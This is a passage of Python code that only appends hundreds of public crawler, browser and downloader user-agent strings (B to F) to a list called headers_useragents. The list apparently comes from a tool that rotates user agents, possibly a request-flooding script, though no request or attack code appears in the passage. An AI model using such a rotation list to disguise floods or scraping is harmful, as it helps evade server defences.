  400.     headers_useragents.append('boitho.com-robot/1.x (http://www.boitho.com/bot.html)')
  401.     headers_useragents.append('Bookdog/x.x')
  402.     headers_useragents.append('Bookmark Buddy bookmark checker (http://www.bookmarkbuddy.net/)')
  403.     headers_useragents.append('Bookmark Renewal Check Agent [http://www.bookmark.ne.jp/]')
  404.     headers_useragents.append('Bookmark Renewal Check Agent [http://www.bookmark.ne.jp/]')
  405.     headers_useragents.append('BookmarkBase(2/;http://bookmarkbase.com)')
  406.     headers_useragents.append('Bot mailto:craftbot@yahoo.com')
  407.     headers_useragents.append('BPImageWalker/2.0 (www.bdbrandprotect.com)')
  408.     headers_useragents.append('BravoBrian bstop.bravobrian.it')
  409.     headers_useragents.append('BravoBrian SpiderEngine MarcoPolo')
  410.     headers_useragents.append('BrightCrawler (http://www.brightcloud.com/brightcrawler.asp)')
  411.     headers_useragents.append('BruinBot (+http://webarchive.cs.ucla.edu/bruinbot.html)')
  412.     headers_useragents.append('BSDSeek/1.0')
  413.     headers_useragents.append('BStop.BravoBrian.it Agent Detector')
  414.     headers_useragents.append('BTbot/0.x (+http://www.btbot.com/btbot.html)')
  415.     headers_useragents.append('BTWebClient/180B(9704)')
  416.     headers_useragents.append('BuildCMS crawler (http://www.buildcms.com/crawler)')
  417.     headers_useragents.append('Bulkfeeds/r1752 (http://bulkfeeds.net/)')
  418.     headers_useragents.append('BullsEye')
  419.     headers_useragents.append('bumblebee@relevare.com')
  420.     headers_useragents.append('BunnySlippers')
  421.     headers_useragents.append('BurstFindCrawler/1.1 (crawler.burstfind.com; http://crawler.burstfind.com; crawler@burstfind.com)')
  422.     headers_useragents.append('Buscaplus Robi/1.0 (http://www.buscaplus.com/robi/)')
  423.     headers_useragents.append('BW-C-2.0')
  424.     headers_useragents.append('bwh3_user_agent')
  425.     headers_useragents.append('Cabot/Nutch-0.9 (Amfibis web-crawling robot; http://www.amfibi.com/cabot/; agent@amfibi.com)')
  426.     headers_useragents.append('Cabot/Nutch-1.0-dev (Amfibis web-crawling robot; http://www.amfibi.com/cabot/; agent@amfibi.com)')
  427.     headers_useragents.append('CamelHttpStream/1.0')
  428.     headers_useragents.append('Cancer Information and Support International;')
  429.     headers_useragents.append('carleson/1.0')
  430.     headers_useragents.append('Carnegie_Mellon_University_Research_WebBOT-->PLEASE READ-->http://www.andrew.cmu.edu/~brgordon/webbot/index.html http://www.andrew.cmu.edu/~brgordon/webbot/index.html')
  431.     headers_useragents.append('Carnegie_Mellon_University_WebCrawler http://www.andrew.cmu.edu/~brgordon/webbot/index.html')
  432.     headers_useragents.append('Catall Spider')
  433.     headers_useragents.append('CazoodleBot/CazoodleBot-0.1 (CazoodleBot Crawler; http://www.cazoodle.com/cazoodlebot; cazoodlebot@cazoodle.com)')
  434.     headers_useragents.append('CCBot/1.0 (+http://www.commoncrawl.org/bot.html)')
  435.     headers_useragents.append('ccubee/x.x')
  436.     headers_useragents.append('CDR/1.7.1 Simulator/0.7(+http://timewe.net) Profile/MIDP-1.0 Configuration/CLDC-1.0')
  437.     headers_useragents.append('CE-Preload')
  438.     headers_useragents.append('CentiverseBot')
  439.     headers_useragents.append('CentiverseBot - investigator')
  440.     headers_useragents.append('CentiverseBot/3.0 (http://www.centiverse-project.net)')
  441.     headers_useragents.append('Ceramic Tile Installation Guide (http://www.floorstransformed.com)')
  442.     headers_useragents.append('CERN-LineMode/2.15')
  443.     headers_useragents.append('cfetch/1.0')
  444.     headers_useragents.append('CFNetwork/x.x')
  445.     headers_useragents.append('cg-eye interactive')
  446.     headers_useragents.append('Charon/1.x (Amiga)')
  447.     headers_useragents.append('Chat Catcher/1.0')
  448.     headers_useragents.append('Checkbot/1.xx LWP/5.xx')
  449.     headers_useragents.append('CheckLinks/1.x.x')
  450.     headers_useragents.append('CheckUrl')
  451.     headers_useragents.append('CheckWeb')
  452.     headers_useragents.append('Chilkat/1.0.0 (+http://www.chilkatsoft.com/ChilkatHttpUA.asp)')
  453.     headers_useragents.append('China Local Browse 2.6')
  454.     headers_useragents.append('Chitika ContentHit 1.0')
  455.     headers_useragents.append('ChristCRAWLER 2.0')
  456.     headers_useragents.append('CHttpClient by Open Text Corporation')
  457.     headers_useragents.append('CipinetBot (http://www.cipinet.com/bot.html)')
  458.     headers_useragents.append('Cityreview Robot (+http://www.cityreview.org/crawler/)')
  459.     headers_useragents.append('CJ Spider/')
  460.     headers_useragents.append('CJB.NET Proxy')
  461.     headers_useragents.append('ClariaBot/1.0')
  462.     headers_useragents.append('Claymont.com')
  463.     headers_useragents.append('CloakDetect/0.9 (+http://fulltext.seznam.cz/)')
  464.     headers_useragents.append('Clushbot/2.x (+http://www.clush.com/bot.html)')
  465.     headers_useragents.append('Clushbot/3.x-BinaryFury (+http://www.clush.com/bot.html)')
  466.     headers_useragents.append('Clushbot/3.xx-Ajax (+http://www.clush.com/bot.html)')
  467.     headers_useragents.append('Clushbot/3.xx-Hector (+http://www.clush.com/bot.html)')
  468.     headers_useragents.append('Clushbot/3.xx-Peleus (+http://www.clush.com/bot.html)')
  469.     headers_useragents.append('COAST WebMaster Pro/4.x.x.xx (Windows NT)')
  470.     headers_useragents.append('CoBITSProbe')
  471.     headers_useragents.append('Cocoal.icio.us/1.0 (v36) (Mac OS X; http://www.scifihifi.com/cocoalicious)')
  472.     headers_useragents.append('Cogentbot/1.X (+http://www.cogentsoftwaresolutions.com/bot.html)')
  473.     headers_useragents.append('ColdFusion')
  474.     headers_useragents.append('ColdFusion (BookmarkTracker.com)')
  475.     headers_useragents.append('collage.cgi/1.xx')
  476.     headers_useragents.append('combine/0.0')
  477.     headers_useragents.append('Combine/2.0 http://combine.it.lth.se/')
  478.     headers_useragents.append('Combine/3 http://combine.it.lth.se/')
  479.     headers_useragents.append('Combine/x.0')
  480.     headers_useragents.append('cometrics-bot) http://www.cometrics.de')
  481.     headers_useragents.append('Commerce Browser Center')
  482.     headers_useragents.append('complex_network_group/Nutch-0.9-dev (discovering the structure of the world-wide-web; http://cantor.ee.ucla.edu/~networks/crawl; nimakhaj@gmail.com)')
  483.     headers_useragents.append('Computer_and_Automation_Research_Institute_Crawler crawler@ilab.sztaki.hu')
  484.     headers_useragents.append('Comrite/0.7.1 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)')
  485.     headers_useragents.append('Contact')
  486.     headers_useragents.append('ContactBot/0.2')
  487.     headers_useragents.append('ContentSmartz')
  488.     headers_useragents.append('contype')
  489.     headers_useragents.append('Convera Internet Spider V6.x')
  490.     headers_useragents.append('ConveraCrawler/0.2')
  491.     headers_useragents.append('ConveraCrawler/0.9d (+http://www.authoritativeweb.com/crawl)')
  492.     headers_useragents.append('ConveraMultiMediaCrawler/0.1 (+http://www.authoritativeweb.com/crawl)')
  493.     headers_useragents.append('CoolBot')
  494.     headers_useragents.append('Cooliris/1.5 CFNetwork/459 Darwin/10.0.0d3')
  495.     headers_useragents.append('CoralWebPrx/0.1.1x (See http://coralcdn.org/)')
  496.     headers_useragents.append('cosmos/0.8_(robot@xyleme.com)')
  497.     headers_useragents.append('cosmos/0.9_(robot@xyleme.com)')
  498.     headers_useragents.append('CoteoNutchCrawler/Nutch-0.9 (info [at] coteo [dot] com)')
  499.     headers_useragents.append('CougarSearch/0.x (+http://www.cougarsearch.com/faq.shtml)')
  500.     headers_useragents.append('Covac TexAs Arachbot')
  501.     headers_useragents.append('CoverScout%203/3.0.1 CFNetwork/339.5 Darwin/9.5.0 (i386) (iMac5)1)')
  502.     headers_useragents.append('Cowbot-0.1 (NHN Corp. / +82-2-3011-1954 / nhnbot@naver.com)')
  503.     headers_useragents.append('Cowbot-0.1.x (NHN Corp. / +82-2-3011-1954 / nhnbot@naver.com)')
  504.     headers_useragents.append('CrawlConvera0.1 (CrawlConvera@yahoo.com)')
  505.     headers_useragents.append('Crawler')
  506.     headers_useragents.append('Crawler (cometsearch@cometsystems.com)')
  507.     headers_useragents.append('Crawler admin@crawler.de')
  508.     headers_useragents.append('Crawler V 0.2.x admin@crawler.de')
  509.     headers_useragents.append('crawler@alexa.com')
  510.     headers_useragents.append('CrawlerBoy Pinpoint.com')
  511.     headers_useragents.append('Crawllybot/0.1 (Crawllybot; +http://www.crawlly.com; crawler@crawlly.com)')
  512.     headers_useragents.append('CreativeCommons/0.06-dev (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@lists.sourceforge.net)')
  513.     headers_useragents.append('Cricket-A100/1.0 UP.Browser/6.3.0.7 (GUI) MMP/2.0')
  514.     headers_useragents.append('CrocCrawler vx.3 [en] (http://www.croccrawler.com) (X11; I; Linux 2.0.44 i686)')
  515.     headers_useragents.append('csci_b659/0.13')
  516.     headers_useragents.append('CSE HTML Validator Professional (http://www.htmlvalidator.com/)')
  517.     headers_useragents.append('Cuam Ver0.050bx')
  518.     headers_useragents.append('Cuasarbot/0.9b http://www.cuasar.com/spider_beta/')
  519.     headers_useragents.append('curl/7.10.x (i386-redhat-linux-gnu) libcurl/7.10.x OpenSSL/0.9.7a ipv6 zlib/1.1.4')
  520.     headers_useragents.append('curl/7.7.x (i386--freebsd4.3) libcurl 7.7.x (SSL 0.9.6) (ipv6 enabled)')
  521.     headers_useragents.append('curl/7.8 (i686-pc-linux-gnu) libcurl 7.8 (OpenSSL 0.9.6)')
  522.     headers_useragents.append('curl/7.9.x (win32) libcurl 7.9.x')
  523.     headers_useragents.append('CurryGuide SiteScan 1.1')
  524.     headers_useragents.append('Custo x.x (www.netwu.com)')
  525.     headers_useragents.append('Custom Spider www.bisnisseek.com /1.0')
  526.     headers_useragents.append('Cyberdog/2.0 (Macintosh; 68k)')
  527.     headers_useragents.append('CyberPatrol SiteCat Webbot')
  528.     headers_useragents.append('CyberSpyder Link Test/2.1.12')
  529.     headers_useragents.append('CydralSpider/1.x')
  530.     headers_useragents.append('CydralSpider/3.0')
  531.     headers_useragents.append('DA 3.5')
  532.     headers_useragents.append('DA 4.0')
  533.     headers_useragents.append('DA 4.0')
  534.     headers_useragents.append('DA 5.0')
  535.     headers_useragents.append('DA 7.0')
  536.     headers_useragents.append('DAP x.x')
  537.     headers_useragents.append('Dart Communications PowerTCP')
  538.     headers_useragents.append('DataCha0s/2.0')
  539.     headers_useragents.append('DataCha0s/2.0')
  540.     headers_useragents.append('DataFountains/DMOZ Downloader')
  541.     headers_useragents.append('DataFountains/Dmoz Downloader (http://ivia.ucr.edu/useragents.shtml)')
  542.     headers_useragents.append('DataFountains/DMOZ Feature Vector Corpus Creator (http://ivia.ucr.edu/useragents.shtml)')
  543.     headers_useragents.append('DataparkSearch/4.47 (+http://dataparksearch.org/bot)')
  544.     headers_useragents.append('DataparkSearch/4.xx (http://www.dataparksearch.org/)')
  545.     headers_useragents.append('DataSpear/1.0 (Spider; http://www.dataspear.com/spider.html; spider@dataspear.com)')
  546.     headers_useragents.append('DataSpearSpiderBot/0.2 (DataSpear Spider Bot; http://dssb.dataspear.com/bot.html; dssb@dataspear.com)')
  547.     headers_useragents.append('DatenBot( http://www.sicher-durchs-netz.de/bot.html)')
  548.     headers_useragents.append('DaviesBot/1.7')
  549.     headers_useragents.append('daypopbot/0.x')
  550.     headers_useragents.append('dbDig(http://www.prairielandconsulting.com)')
  551.     headers_useragents.append('DBrowse 1.4b')
  552.     headers_useragents.append('DBrowse 1.4d')
  553.     headers_useragents.append('DC-Sakura/x.xx')
  554.     headers_useragents.append('dCSbot/1.1')
  555.     headers_useragents.append('DDD')
  556.     headers_useragents.append('dds explorer v1.0 beta')
  557.     headers_useragents.append('de.searchengine.comBot 1.2 (http://de.searchengine.com/spider)')
  558.     headers_useragents.append('DeadLinkCheck/0.4.0 libwww-perl/5.xx')
  559.     headers_useragents.append('Deep Link Calculator v1.0')
  560.     headers_useragents.append('deepak-USC/ISI')
  561.     headers_useragents.append('DeepIndex')
  562.     headers_useragents.append('DeepIndex ( http://www.zetbot.com )')
  563.     headers_useragents.append('DeepIndex (www.en.deepindex.com)')
  564.     headers_useragents.append('DeepIndexer.ca')
  565.     headers_useragents.append('del.icio.us-thumbnails/1.0 Mozilla/5.0 (compatible; Konqueror/3.4; FreeBSD) KHTML/3.4.2 (like Gecko)')
  566.     headers_useragents.append('DeleGate/9.0.5-fix1')
  567.     headers_useragents.append('Demo Bot DOT 16b')
  568.     headers_useragents.append('Demo Bot Z 16b')
  569.     headers_useragents.append('Denmex websearch (http://search.denmex.com)')
  570.     headers_useragents.append('dev-spider2.searchpsider.com/1.3b')
  571.     headers_useragents.append('DevComponents.com HtmlDocument Object')
  572.     headers_useragents.append('DiaGem/1.1 (http://www.skyrocket.gr.jp/diagem.html)')
  573.     headers_useragents.append('Diamond/x.0')
  574.     headers_useragents.append('DiamondBot')
  575.     headers_useragents.append('Digger/1.0 JDK/1.3.0rc3')
  576.     headers_useragents.append('DigOut4U')
  577.     headers_useragents.append('DIIbot/1.2')
  578.     headers_useragents.append('Dillo/0.8.5-i18n-misc')
  579.     headers_useragents.append('Dillo/0.x.x')
  580.     headers_useragents.append('disastrous/1.0.5 (running with Python 2.5.1; http://www.bortzmeyer.org/disastrous.html; archangel77@del.icio.us)')
  581.     headers_useragents.append('DISCo Pump x.x')
  582.     headers_useragents.append('disco/Nutch-0.9 (experimental crawler; www.discoveryengine.com; disco-crawl@discoveryengine.com)')
  583.     headers_useragents.append('disco/Nutch-1.0-dev (experimental crawler; www.discoveryengine.com; disco-crawl@discoveryengine.com)')
  584.     headers_useragents.append('DittoSpyder')
  585.     headers_useragents.append('dloader(NaverRobot)/1.0')
  586.     headers_useragents.append('DNSRight.com WebBot Link Ckeck Tool. Report abuse to: dnsr@dnsright.com')
  587.     headers_useragents.append('DoCoMo/1.0/Nxxxi/c10')
  588.     headers_useragents.append('DoCoMo/1.0/Nxxxi/c10/TB')
  589.     headers_useragents.append('DoCoMo/1.0/P502i/c10 (Google CHTML Proxy/1.0)')
  590.     headers_useragents.append('DoCoMo/2.0 P900iV(c100;TB;W24H11)')
  591.     headers_useragents.append('DoCoMo/2.0 SH901iS(c100;TB;W24H12))gzip(gfe) (via translate.google.com)')
  592.     headers_useragents.append('DoCoMo/2.0 SH902i (compatible; Y!J-SRD/1.0; http://help.yahoo.co.jp/help/jp/search/indexing/indexing-27.html)')
  593.     headers_useragents.append('DoCoMo/2.0/SO502i (compatible; Y!J-SRD/1.0; http://help.yahoo.co.jp/help/jp/search/indexing/indexing-27.html)')
  594.     headers_useragents.append('DocZilla/1.0 (Windows; U; WinNT4.0; en-US; rv:1.0.0) Gecko/20020804')
  595.     headers_useragents.append('dodgebot/experimental')
  596.     headers_useragents.append('DonutP; Windows98SE')
  597.     headers_useragents.append('Doubanbot/1.0 (bot@douban.com http://www.douban.com)')
  598.     headers_useragents.append('Download Demon/3.x.x.x')
  599.     headers_useragents.append('Download Druid 2.x')
  600.     headers_useragents.append('Download Express 1.0')
  601.     headers_useragents.append('Download Master')
  602.     headers_useragents.append('Download Ninja 3.0')
  603.     headers_useragents.append('Download Wonder')
  604.     headers_useragents.append('Download-Tipp Linkcheck (http://download-tipp.de/)')
  605.     headers_useragents.append('Download.exe(1.1) (+http://www.sql-und-xml.de/freeware-tools/)')
  606.     headers_useragents.append('DownloadDirect.1.0')
  607.     headers_useragents.append('Dr.Web (R) online scanner: http://online.drweb.com/')
  608.     headers_useragents.append('Dragonfly File Reader')
  609.     headers_useragents.append('Drecombot/1.0 (http://career.drecom.jp/bot.html)')
  610.     headers_useragents.append('Drupal (+http://drupal.org/)')
  611.     headers_useragents.append('DSurf15a 01')
  612.     headers_useragents.append('DSurf15a 71')
  613.     headers_useragents.append('DSurf15a 81')
  614.     headers_useragents.append('DSurf15a VA')
  615.     headers_useragents.append('DTAAgent')
  616.     headers_useragents.append('dtSearchSpider')
  617.     headers_useragents.append('Dual Proxy')
  618.     headers_useragents.append('DuckDuckBot/1.0; (+http://duckduckgo.com/duckduckbot.html)')
  619.     headers_useragents.append('Dumbot(version 0.1 beta - dumbfind.com)')
  620.     headers_useragents.append('Dumbot(version 0.1 beta - http://www.dumbfind.com/dumbot.html)')
  621.     headers_useragents.append('Dumbot(version 0.1 beta)')
  622.     headers_useragents.append('e-sense 1.0 ea(www.vigiltech.com/esensedisclaim.html)')
  623.     headers_useragents.append('e-SocietyRobot(http://www.yama.info.waseda.ac.jp/~yamana/es/)')
  624.     headers_useragents.append('eApolloBot/2.0 (compatible; heritrix/2.0.0-SNAPSHOT-20071024.170148 +http://www.eapollo-opto.com)')
  625.     headers_useragents.append('EARTHCOM.info/1.x [www.earthcom.info]')
  626.     headers_useragents.append('EARTHCOM.info/1.xbeta [www.earthcom.info]')
  627.     headers_useragents.append('EasyDL/3.xx')
  628.     headers_useragents.append('EasyDL/3.xx http://keywen.com/Encyclopedia/Bot')
  629.     headers_useragents.append('EBrowse 1.4b')
  630.     headers_useragents.append('eCatch/3.0')
  631.     headers_useragents.append('EchO!/2.0')
  632.     headers_useragents.append('Educate Search VxB')
  633.     headers_useragents.append('egothor/3.0a (+http://www.xdefine.org/robot.html)')
  634.     headers_useragents.append('EgotoBot/4.8 (+http://www.egoto.com/about.htm)')
  635.     headers_useragents.append('ejupiter.com')
  636.     headers_useragents.append('EldoS TimelyWeb/3.x')
  637.     headers_useragents.append('elfbot/1.0 (+http://www.uchoose.de/crawler/elfbot/)')
  638.     headers_useragents.append('ELI/20070402:2.0 (DAUM RSS Robot) Daum Communications Corp.; +http://ws.daum.net/aboutkr.html)')
  639.     headers_useragents.append('ELinks (0.x.x; Linux 2.4.20 i586; 132x60)')
  640.     headers_useragents.append('ELinks/0.x.x (textmode; NetBSD 1.6.2 sparc; 132x43)')
  641.     headers_useragents.append('EmailSiphon')
  642.     headers_useragents.append('EmailSpider')
  643.     headers_useragents.append('EmailWolf 1.00')
  644.     headers_useragents.append('EmeraldShield.com WebBot')
  645.     headers_useragents.append('EmeraldShield.com WebBot (http://www.emeraldshield.com/webbot.aspx)')
  646.     headers_useragents.append('EMPAS_ROBOT')
  647.     headers_useragents.append('EnaBot/1.x (http://www.enaball.com/crawler.html)')
  648.     headers_useragents.append('endo/1.0 (Mac OS X; ppc i386; http://kula.jp/endo)')
  649.     headers_useragents.append('Enfish Tracker')
  650.     headers_useragents.append('Enterprise_Search/1.0')
  651.     headers_useragents.append('Enterprise_Search/1.0.xxx')
  652.     headers_useragents.append('Enterprise_Search/1.00.xxx;MSSQL (http://www.innerprise.net/es-spider.asp)')
  653.     headers_useragents.append('envolk/1.7 (+http://www.envolk.com/envolkspiderinfo.php)')
  654.     headers_useragents.append('envolk[ITS]spider/1.6(+http://www.envolk.com/envolkspider.html)')
  655.     headers_useragents.append('EroCrawler')
  656.     headers_useragents.append('ES.NET_Crawler/2.0 (http://search.innerprise.net/)')
  657.     headers_useragents.append('eseek-larbin_2.6.2 (crawler@exactseek.com)')
  658.     headers_useragents.append('ESISmartSpider')
  659.     headers_useragents.append('eStyleSearch 4 (compatible; MSIE 6.0; Windows NT 5.0)')
  660.     headers_useragents.append('ESurf15a 15')
  661.     headers_useragents.append('EuripBot/0.x (+http://www.eurip.com) GetFile')
  662.     headers_useragents.append('EuripBot/0.x (+http://www.eurip.com) GetRobots')
  663.     headers_useragents.append('EuripBot/0.x (+http://www.eurip.com) PreCheck')
  664.     headers_useragents.append('Eurobot/1.0 (http://www.ayell.eu)')
  665.     headers_useragents.append('EvaalSE - bot@evaal.com')
  666.     headers_useragents.append('eventax/1.3 (eventax; http://www.eventax.de/; info@eventax.de)')
  667.     headers_useragents.append('Everest-Vulcan Inc./0.1 (R&D project; host=e-1-24; http://everest.vulcan.com/crawlerhelp)')
  668.     headers_useragents.append('Everest-Vulcan Inc./0.1 (R&D project; http://everest.vulcan.com/crawlerhelp)')
  669.     headers_useragents.append('Exabot-Images/1.0')
  670.     headers_useragents.append('Exabot-Test/1.0')
  671.     headers_useragents.append('Exabot/2.0')
  672.     headers_useragents.append('Exabot/3.0')
  673.     headers_useragents.append('ExactSearch')
  674.     headers_useragents.append('ExactSeek Crawler/0.1')
  675.     headers_useragents.append('exactseek-crawler-2.63 (crawler@exactseek.com)')
  676.     headers_useragents.append('exactseek-pagereaper-2.63 (crawler@exactseek.com)')
  677.     headers_useragents.append('exactseek.com')
  678.     headers_useragents.append('Exalead NG/MimeLive Client (convert/http/0.120)')
  679.     headers_useragents.append('Excalibur Internet Spider V6.5.4')
  680.     headers_useragents.append('Execrawl/1.0 (Execrawl; http://www.execrawl.com/; bot@execrawl.com)')
  681.     headers_useragents.append('exooba crawler/exooba crawler (crawler for exooba.com; http://www.exooba.com/; info at exooba dot com)')
  682.     headers_useragents.append('exooba/exooba crawler (exooba; exooba)')
  683.     headers_useragents.append('ExperimentalHenrytheMiragoRobot')
  684.     headers_useragents.append('Expired Domain Sleuth')
  685.     headers_useragents.append('Express WebPictures (www.express-soft.com)')
  686.     headers_useragents.append('ExtractorPro')
  687.     headers_useragents.append('Extreme Picture Finder')
  688.     headers_useragents.append('EyeCatcher (Download-tipp.de)/1.0')
  689.     headers_useragents.append('Factbot 1.09 (see http://www.factbites.com/webmasters.php)')
  690.     headers_useragents.append('factbot : http://www.factbites.com/robots')
  691.     headers_useragents.append('FaEdit/2.0.x')
  692.     headers_useragents.append('FairAd Client')
  693.     headers_useragents.append('FANGCrawl/0.01')
  694.     headers_useragents.append('FARK.com link verifier')
  695.     headers_useragents.append('Fast Crawler Gold Edition')
  696.     headers_useragents.append('FAST Enterprise Crawler 6 (Experimental)')
  697.     headers_useragents.append('FAST Enterprise Crawler 6 / Scirus scirus-crawler@fast.no; http://www.scirus.com/srsapp/contactus/')
  698.     headers_useragents.append('FAST Enterprise Crawler 6 used by Cobra Development (admin@fastsearch.com)')
  699.     headers_useragents.append('FAST Enterprise Crawler 6 used by Comperio AS (sts@comperio.no)')
  700.     headers_useragents.append('FAST Enterprise Crawler 6 used by FAST (FAST)')
  701.     headers_useragents.append('FAST Enterprise Crawler 6 used by Pages Jaunes (pvincent@pagesjaunes.fr)')
  702.     headers_useragents.append('FAST Enterprise Crawler 6 used by Sensis.com.au Web Crawler (search_comments\at\sensis\dot\com\dot\au)')
  703.     headers_useragents.append('FAST Enterprise Crawler 6 used by Singapore Press Holdings (crawler@sphsearch.sg)')
  704.     headers_useragents.append('FAST Enterprise Crawler 6 used by WWU (wardi@uni-muenster.de)')
  705.     headers_useragents.append('FAST Enterprise Crawler/6 (www.fastsearch.com)')
  706.     headers_useragents.append('FAST Enterprise Crawler/6.4 (helpdesk at fast.no)')
  707.     headers_useragents.append('FAST FirstPage retriever (compatible; MSIE 5.5; Mozilla/4.0)')
  708.     headers_useragents.append('FAST MetaWeb Crawler (helpdesk at fastsearch dot com)')
  709.     headers_useragents.append('Fast PartnerSite Crawler')
  710.     headers_useragents.append('FAST-WebCrawler/2.2.10 (Multimedia Search) (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)')
  711.     headers_useragents.append('FAST-WebCrawler/2.2.6 (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)')
  712.     headers_useragents.append('FAST-WebCrawler/2.2.7 (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)http://www.fast.no')
  713.     headers_useragents.append('FAST-WebCrawler/2.2.8 (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)http://www.fast.no')
  714.     headers_useragents.append('FAST-WebCrawler/3.2 test')
  715.     headers_useragents.append('FAST-WebCrawler/3.3 (crawler@fast.no; http://fast.no/support.php?c=faqs/crawler)')
  716.     headers_useragents.append('FAST-WebCrawler/3.4/Nirvana (crawler@fast.no; http://fast.no/support.php?c=faqs/crawler)')
  717.     headers_useragents.append('FAST-WebCrawler/3.4/PartnerSite (crawler@fast.no; http://fast.no/support.php?c=faqs/crawler)')
  718.     headers_useragents.append('FAST-WebCrawler/3.5 (atw-crawler at fast dot no; http://fast.no/support.php?c=faqs/crawler)')
  719.     headers_useragents.append('FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)')
  720.     headers_useragents.append('FAST-WebCrawler/3.6/FirstPage (crawler@fast.no; http://fast.no/support.php?c=faqs/crawler)')
  721.     headers_useragents.append('FAST-WebCrawler/3.7 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)')
  722.     headers_useragents.append('FAST-WebCrawler/3.7/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)')
  723.     headers_useragents.append('FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)')
  724.     headers_useragents.append('FAST-WebCrawler/3.8/Fresh (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)')
  725.     headers_useragents.append('FAST-WebCrawler/3.x Multimedia')
  726.     headers_useragents.append('FAST-WebCrawler/3.x Multimedia (mm dash crawler at fast dot no)')
  727.     headers_useragents.append('fastbot crawler beta 2.0 (+http://www.fastbot.de)')
  728.     headers_useragents.append('FastBug http://www.ay-up.com')
  729.     headers_useragents.append('FastCrawler 3.0.1 (crawler@1klik.dk)')
  730.     headers_useragents.append('FastSearch Web Crawler for Verizon SuperPages (kevin.watters@fastsearch.com)')
  731.     headers_useragents.append('Favcollector/2.0 (info@favcollector.com http://www.favcollector.com/)')
  732.     headers_useragents.append('FavIconizer')
  733.     headers_useragents.append('favo.eu crawler/0.6 (http://www.favo.eu)')
  734.     headers_useragents.append('FavOrg')
  735.     headers_useragents.append('Favorites Checking (http://campulka.net)')
  736.     headers_useragents.append('Favorites Sweeper v.2.03')
  737.     headers_useragents.append('Faxobot/1.0')
  738.     headers_useragents.append('FDM 1.x')
  739.     headers_useragents.append('FDM 2.x')
  740.     headers_useragents.append('Feed Seeker Bot (RSS Feed Seeker http://www.MyNewFavoriteThing.com/fsb.php)')
  741.     headers_useragents.append('Feed24.com')
  742.     headers_useragents.append('Feed::Find/0.0x')
  743.     headers_useragents.append('Feedable/0.1 (compatible; MSIE 6.0; Windows NT 5.1)')
  744.     headers_useragents.append('FeedChecker/0.01')
  745.     headers_useragents.append('FeedDemon/2.7 (http://www.newsgator.com/; Microsoft Windows XP)')
  746.     headers_useragents.append('Feedfetcher-Google-iGoogleGadgets; (+http://www.google.com/feedfetcher.html)')
  747.     headers_useragents.append('Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)')
  748.     headers_useragents.append('FeedForAll rss2html.php v2')
  749.     headers_useragents.append('FeedHub FeedDiscovery/1.0 (http://www.feedhub.com)')
  750.     headers_useragents.append('FeedHub MetaDataFetcher/1.0 (http://www.feedhub.com)')
  751.     headers_useragents.append('Feedjit Favicon Crawler 1.0')
  752.     headers_useragents.append('Feedreader 3.xx (Powered by Newsbrain)')
  753.     headers_useragents.append('Feedshow/x.0 (http://www.feedshow.com; 1 subscriber)')
  754.     headers_useragents.append('FeedshowOnline (http://www.feedshow.com)')
  755.     headers_useragents.append('FeedZcollector v1.x (Platinum) http://www.feeds4all.com/feedzcollector')
  756.     headers_useragents.append('Felix - Mixcat Crawler (+http://mixcat.com)')
  757.     headers_useragents.append('fetch libfetch/2.0')
  758.     headers_useragents.append('FFC Trap Door Spider')
  759.     headers_useragents.append('Filangy/0.01-beta (Filangy; http://www.nutch.org/docs/en/bot.html; filangy-agent@filangy.com)')
  760.     headers_useragents.append('Filangy/1.0x (Filangy; http://www.filangy.com/filangyinfo.jsp?inc=robots.jsp; filangy-agent@filangy.com)')
  761.     headers_useragents.append('Filangy/1.0x (Filangy; http://www.nutch.org/docs/en/bot.html; filangy-agent@filangy.com)')
  762.     headers_useragents.append('fileboost.net/1.0 (+http://www.fileboost.net)')
  763.     headers_useragents.append('FileHound x.x')
  764.     headers_useragents.append('Filtrbox/1.0')
  765.     headers_useragents.append('FindAnISP.com_ISP_Finder_v99a')
  766.     headers_useragents.append('Findexa Crawler (http://www.findexa.no/gulesider/article26548.ece)')
  767.     headers_useragents.append('findlinks/x.xxx (+http://wortschatz.uni-leipzig.de/findlinks/)')
  768.     headers_useragents.append('FineBot')
  769.     headers_useragents.append('Finjan-prefetch')
  770.     headers_useragents.append('Firefly/1.0')
  771.     headers_useragents.append('Firefly/1.0 (compatible; Mozilla 4.0; MSIE 5.5)')
  772.     headers_useragents.append('Firefox (kastaneta03@hotmail.com)')
  773.     headers_useragents.append('Firefox_1.0.6 (kasparek@naparek.cz)')
  774.     headers_useragents.append('FirstGov.gov Search - POC:firstgov.webmasters@gsa.gov')
  775.     headers_useragents.append('firstsbot')
  776.     headers_useragents.append('Flapbot/0.7.2 (Flaptor Crawler; http://www.flaptor.com; crawler at flaptor period com)')
  777.     headers_useragents.append('FlashGet')
  778.     headers_useragents.append('FLATARTS_FAVICO')
  779.     headers_useragents.append('Flexum spider')
  780.     headers_useragents.append('Flexum/2.0')
  781.     headers_useragents.append('FlickBot 2.0 RPT-HTTPClient/0.3-3')
  782.     headers_useragents.append('flunky')
  783.     headers_useragents.append('fly/6.01 libwww/4.0D')
  784.     headers_useragents.append('flyindex.net 1.0/http://www.flyindex.net')
  785.     headers_useragents.append('FnooleBot/2.5.2 (+http://www.fnoole.com/addurl.html)')
  786.     headers_useragents.append('FocusedSampler/1.0')
  787.     headers_useragents.append('Folkd.com Spider/0.1 beta 1 (www.folkd.com)')
  788.     headers_useragents.append('FollowSite Bot ( http://www.followsite.com/bot.html )')
  789.     headers_useragents.append('FollowSite.com ( http://www.followsite.com/b.html )')
  790.     headers_useragents.append('Fooky.com/ScorpionBot/ScoutOut; http://www.fooky.com/scorpionbots')
  791.     headers_useragents.append('Francis/1.0 (francis@neomo.de http://www.neomo.de/)')
  792.     headers_useragents.append('Franklin Locator 1.8')
